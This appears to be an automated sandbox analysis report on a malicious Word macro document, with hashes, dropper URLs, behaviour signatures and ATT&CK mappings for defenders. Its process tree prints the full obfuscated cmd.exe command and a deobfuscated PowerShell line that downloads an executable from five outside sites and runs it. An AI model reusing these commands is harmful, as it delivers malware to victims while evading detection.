be849032d67a24eda952c62593d2c6d991500c0a8e628fd189fa9ca51a221cdb

General

Target

1880d13fa02bef8f17371845e0fe89cc_JaffaCakes118.doc
Size

93KB
MD5

1880d13fa02bef8f17371845e0fe89cc
SHA1

5804bbdae06f7bd57f6711c5ab3adf124fac62af
SHA256

be849032d67a24eda952c62593d2c6d991500c0a8e628fd189fa9ca51a221cdb
SHA512

599ede07c5c416d7b4d285aa5ee30356d4fbd88411a7d39354413d5cfd3bebc4c798c786cf6dceab7a27cef1824809c78a54882e9d5d3a03cf0bf6892f207cea
SSDEEP

1536:focn1kp59gxBK85fBlHF5qFycNGrFMMzV/+a9:A41k/W483lWycNGzV

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.serefozata.com/axf

exe.dropper

http://www.livingbranchanimalsciences.com/zVMQFL

exe.dropper

http://www.donghodaian.com/jiPViP

exe.dropper

http://sprayzee.com/iiWYe6z

exe.dropper

http://yasarkemalplatformu.org/s

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2820	760	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

31 4720 powershell.exe
41 4720 powershell.exe
43 4720 powershell.exe
44 4720 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

Processes:

cmd.execmd.exe

pid process

2820 cmd.exe
4276 cmd.exe

flow	pid	process
31	4720	powershell.exe
41	4720	powershell.exe
43	4720	powershell.exe
44	4720	powershell.exe

pid	process
2820	cmd.exe
4276	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

760 WINWORD.EXE
760 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4720 powershell.exe
4720 powershell.exe
4720 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4720 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

760 WINWORD.EXE
760 WINWORD.EXE
760 WINWORD.EXE
760 WINWORD.EXE
760 WINWORD.EXE
760 WINWORD.EXE
760 WINWORD.EXE

pid	process
760	WINWORD.EXE
760	WINWORD.EXE

pid	process
4720	powershell.exe
4720	powershell.exe
4720	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4720	powershell.exe

pid	process
760	WINWORD.EXE
760	WINWORD.EXE
760	WINWORD.EXE
760	WINWORD.EXE
760	WINWORD.EXE
760	WINWORD.EXE
760	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXEcmd.execmd.exe

description	pid	process	target process
PID 760 wrote to memory of 2556	760	WINWORD.EXE	splwow64.exe
PID 760 wrote to memory of 2556	760	WINWORD.EXE	splwow64.exe
PID 760 wrote to memory of 2820	760	WINWORD.EXE	cmd.exe
PID 760 wrote to memory of 2820	760	WINWORD.EXE	cmd.exe
PID 2820 wrote to memory of 4276	2820	cmd.exe	cmd.exe
PID 2820 wrote to memory of 4276	2820	cmd.exe	cmd.exe
PID 4276 wrote to memory of 4720	4276	cmd.exe	powershell.exe
PID 4276 wrote to memory of 4720	4276	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1880d13fa02bef8f17371845e0fe89cc_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:760

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2556

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2820

C:\Windows\system32\cmd.exe
CmD /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4276

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$nsH='BKf';$tmv=new-object Net.WebClient;$kjR='http://www.serefozata.com/axf@http://www.livingbranchanimalsciences.com/zVMQFL@http://www.donghodaian.com/jiPViP@http://sprayzee.com/iiWYe6z@http://yasarkemalplatformu.org/s'.Split('@');$wdN='mBN';$Gwb = '390';$vzj='EDk';$BJE=$env:temp+'\'+$Gwb+'.exe';foreach($TBK in $kjR){try{$tmv.DownloadFile($TBK, $BJE);$DKz='hij';If ((Get-Item $BJE).length -ge 80000) {Invoke-Item $BJE;$kiB='mQZ';break;}}catch{}}$Wfp='HEA';"
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\F8CD9CFB.wmf

Filesize
500B

MD5
bc4cb8839c0edb8ff2fd81e238ebf491

SHA1
953ad02f2a9240f3ea633ea1802b41cb37d8c843

SHA256
0ab9420e40c9a95c287ae06f9c74c06fa5dab4ca736e238d4024c519aa6032ab

SHA512
e981f9172399ef27eb576d77abbd9e065a6b5d74b9ddf60bd883f75e6a8213c8c6f9f4d819d8516296026b542195d39c38aabd2c577be3bfc7be25b2905e4f20

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD840F.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d05n0wtl.04x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/760-8-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-20-0x00007FFF48A30000-0x00007FFF48A40000-memory.dmp

Filesize
64KB

Download
memory/760-5-0x00007FFF8B04D000-0x00007FFF8B04E000-memory.dmp

Filesize
4KB

Download
memory/760-9-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-0-0x00007FFF4B030000-0x00007FFF4B040000-memory.dmp

Filesize
64KB

Download
memory/760-7-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-6-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-11-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-10-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-12-0x00007FFF48A30000-0x00007FFF48A40000-memory.dmp

Filesize
64KB

Download
memory/760-14-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-15-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-18-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-2-0x00007FFF4B030000-0x00007FFF4B040000-memory.dmp

Filesize
64KB

Download
memory/760-19-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-17-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-16-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-13-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-3-0x00007FFF4B030000-0x00007FFF4B040000-memory.dmp

Filesize
64KB

Download
memory/760-583-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-4-0x00007FFF4B030000-0x00007FFF4B040000-memory.dmp

Filesize
64KB

Download
memory/760-1-0x00007FFF4B030000-0x00007FFF4B040000-memory.dmp

Filesize
64KB

Download
memory/760-554-0x00007FFF8AFB0000-0x00007FFF8B1A5000-memory.dmp

Filesize
2.0MB

Download
memory/760-580-0x00007FFF4B030000-0x00007FFF4B040000-memory.dmp

Filesize
64KB

Download
memory/760-581-0x00007FFF4B030000-0x00007FFF4B040000-memory.dmp

Filesize
64KB

Download
memory/760-579-0x00007FFF4B030000-0x00007FFF4B040000-memory.dmp

Filesize
64KB

Download
memory/760-582-0x00007FFF4B030000-0x00007FFF4B040000-memory.dmp

Filesize
64KB

Download
memory/4720-57-0x0000015374A30000-0x0000015374A52000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads